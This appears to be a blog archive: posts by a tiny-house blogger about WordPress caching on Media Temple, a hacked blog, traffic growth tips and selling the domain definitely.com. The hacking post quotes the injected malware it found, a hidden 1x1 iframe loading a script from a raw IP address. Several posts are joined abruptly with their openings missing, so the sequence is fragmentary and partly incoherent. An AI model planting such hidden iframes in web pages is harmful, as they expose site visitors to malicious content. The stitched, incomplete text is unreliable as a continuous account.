I really like Media Temple and their ability to scale-up on the fly on extremely heavy traffic days but they charge more if you use more than your fair share of CPU time. They call these system resource units GPUs. This seems fair and most people won’t ever get an overage charge.

The Problem – The problem is that if you move past about 100,000 impressions a month with a WordPress blog you begin to tread into the territory of overage charges with Media Temple. The reason is that WordPress blogs uses a lot of database resources.

If you run logging and stats plug-ins on top of that you load up your database server even more which not only slows down your website but could easily drive the hosting cost up.

The Solution – To solve this problem I’m going to try using WP Super Cache again. The first time I tried it I didn’t install it correctly and it crashed my site. This time I think I have it installed right and now theoretically when visitors come to Tiny House Design the cached pages will be served up by Apache (the web server software) and not MySQL (the database software).

You see Apache is very efficient at serving up images and flat html files, which is exactly what WP Super Cache provides. The load on MySQL should now be very light and the CPU overage charges should drop.

If you want to try WP Super Cache I suggest that you keep a copy of your original wp-config.php file handy in case you miss an install step and crash your blog like I did the first time. WP Super Cache rewrites part of your config file and when you disable the plug-in you might run into trouble with that modified config file. To fix a crashed blog and remove WP Super Cache just disable the plug-in and upload your original config file.

<!– Web Stats –> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!– End Web Stats –>

It was only partly visible in html view, the iframe wouldn’t render so it looked virtually invisible. I changed my password, locked down my comments, and tightened up security. I suspect there may be a security hole in the current version of WordPress, but who knows it could have been some plug-in I was testing too.

I’m going to spend a little time later tonight changing passwords on all my blogs and doing what I can to protect myself. If you run blogs I suggest you try doing some searches for Malware too.

Lucky for me they picked my least busy blog, this one, my personal blog. It would seriously suck if my top blogs popped up warning screens like this one to all my visitors. Fricken hacker bastages!

• Added category links at the top of the page.
• Created a long column of 150×150 thumbnail images.
• Included related posts after each post.
• Increased the number of posts per page from 3 to 10.

All of these changes help people stick around a little longer since there is more to see. I could have done these navigation changes with the same old theme but I really like this new one and you should see the simple code. I love simplicity.

The Evidence

This chart from my Google Analytics account shows the traffic spikes over the last two months. As you can see there are three distinct traffic spikes that resulted in a slightly higher base traffic after each spike. The first little spike was the day an article was published about me in the New York Times. The next spike was a short national television spot on the tiny house movement. The third, tallest spike, was a CNN television story on two leaders in the tiny house community, Jay Shafer and Bill Kastrinos.

This next chart is from Google Trends and shows how my top keywords have been performing for the last twelve months. As you can see there is a direct correlation since most traffic comes from search engines.

This next chart shows my bounce rate dropping off significantly which means that something has either changed on my blog or the people searching for this content are really getting interested in it and are sticking around on the blog much longer.

This last chart shows average page views by visitor. It’s not surprising that it looks like the inverse of the bounce rate. But still interesting so see the correlation.

Little Known Secrets

First I am not doing all the normal marketing tricks pro-bloggers tell you to do. I’ve simply optimized my blogs and done a little bit of networking. I have however stumbled on some simple things that are driving my traffic higher and higher everyday. Here they are:

• Do something that really matters, then blog on it. Make blogging secondary and the quality of your content will actually improve because you will be making the story not just reporting on it.
• Choose a topic you’re passionate about and that’s growing in interest. The collapse of the housing market is actually fueling more interest in downsizing. It’s exactly what drove me to tiny houses in the first place. People from all around America are re-thinking how they live and the true value of a home.
• Real stories want to be told. The main stream media wants to tell your story if its real and timely. Reporters are combing the web for stories to tell. News agencies and television shows make their money by telling compelling stories.
• Use your real name. I’m also working on writing a couple books and figured it would pay in the long run to have my real name out there. Real people, with real stories, have real names. Use yours.
• Make real friends and connections. Get to know the people in your online and offline community. You are stronger together.

Warnings

• Avoid publicity stunts. The main stream media wants to report real stories. Be honest and real or everyone will see right through you.
• Don’t waste time with tricks. No real traffic comes from search engine optimization tricks. Spend less time commenting on other people’s blogs and more time doing something people value and writing about it. If you can video tape and photograph it even better.

Conclusion

As you can see this is just the beginning of something good. Ironically as the economy worsens the interest in downsizing increases. So I suspect my blogs on tiny houses will get the biggest boost in traffic during the upcoming lean years. In any event I think my strategy is sound and proving to be successful. I hope you fiud it useful.

Here’s a recap:

• Be real
• Do something real
• Do something your passionate about
• Write about it
• Video tape it
• Photograph it
• …and ideally pick something more people are moving toward.

Now take a look at my tiny house blogs/forum:

• TinyHouseDesign.com
• TinyFreeHouse.com
• TinyPalletHouse.com
• TinyHouseForum.com

But unfortunately Moniker and I aren’t seeing eye to eye on the whole reserve price thing. They are thinking a low five figure number and I’ve got my eyes on a mid six figure number. I’m probably dreaming but who knows what a word like definitely would sell for? Normal domain name appraisals don’t seem like they would apply to a word like this?

But the whole thing got me thinking and asking myself a simple question? Who would buy it? As a Vice President in Online Marketing at a fortune 100 company I should actually be the right person to ask. Duh. The simple answer that came to me over lunch was… online marketing VPs and domain name speculators. Fortune 100/500 marketing people tend to have large budgets that get spent on large marketing campaigns. So it would seem logical that they would have the most money to spend on a name like this but they would need a reason and they probably don’t buy domains at auction very often. They probably also never buy domain names witout a very specific purpose.
The only time I suspect corporations buy domains at auction are when the really good names go up for sale, like pizza.com did recently. I can only imagine the field of corporate bidders jumping into that auction. Good single word domains, like definitely.com, are probably usually interesting to domain speculators, who probably rarely spend six figures for a domain name. Which leaves me with the following conclusion.

If you have a great domain like pizza.com sell it at auction and alert all the major corporations that might be interested. If you have a decent name like definitely.com don’t sell it at auction if you want top dollar. Instead build a good site for the name that runs itself while you wait to sell it. Then develop some concepts for campaigns that the biggest corporations could run. Use the campaign concepts to sell the idea of a summer marketing campaign (or similar) to corporate marketing people. Don’t spend too much time on it unless you also work to get face to face meetings with these people to pitch the idea. Better to float the ideas and see if anyone bites.

You see I don’t think a name like definitely.com could ever brand a large company, like the way a name like pizza.com could. I think most large companies would use a name like definitely.com for a short (3 to 9 month) marketing campaign. For example imagine a major auto maker or cola company running a marketing campaign using a word like definitely in it’s center slogan and setting up a special website for the campaign. Depending on the strength of the concept this route might get six figures.

In the mean time how about a cool review site at definitely.com? Oh yeah after the other projects on my back burners. LOL

I was recently looking for some domain names with a common four letter word as a prefix (“bank”) and tried every four letter word in the dictionary in combination with it. In a few minutes I found over 1000 available domains, dozens of them meeting my needs. Give it a try and let me know what you think. DomainPinch.com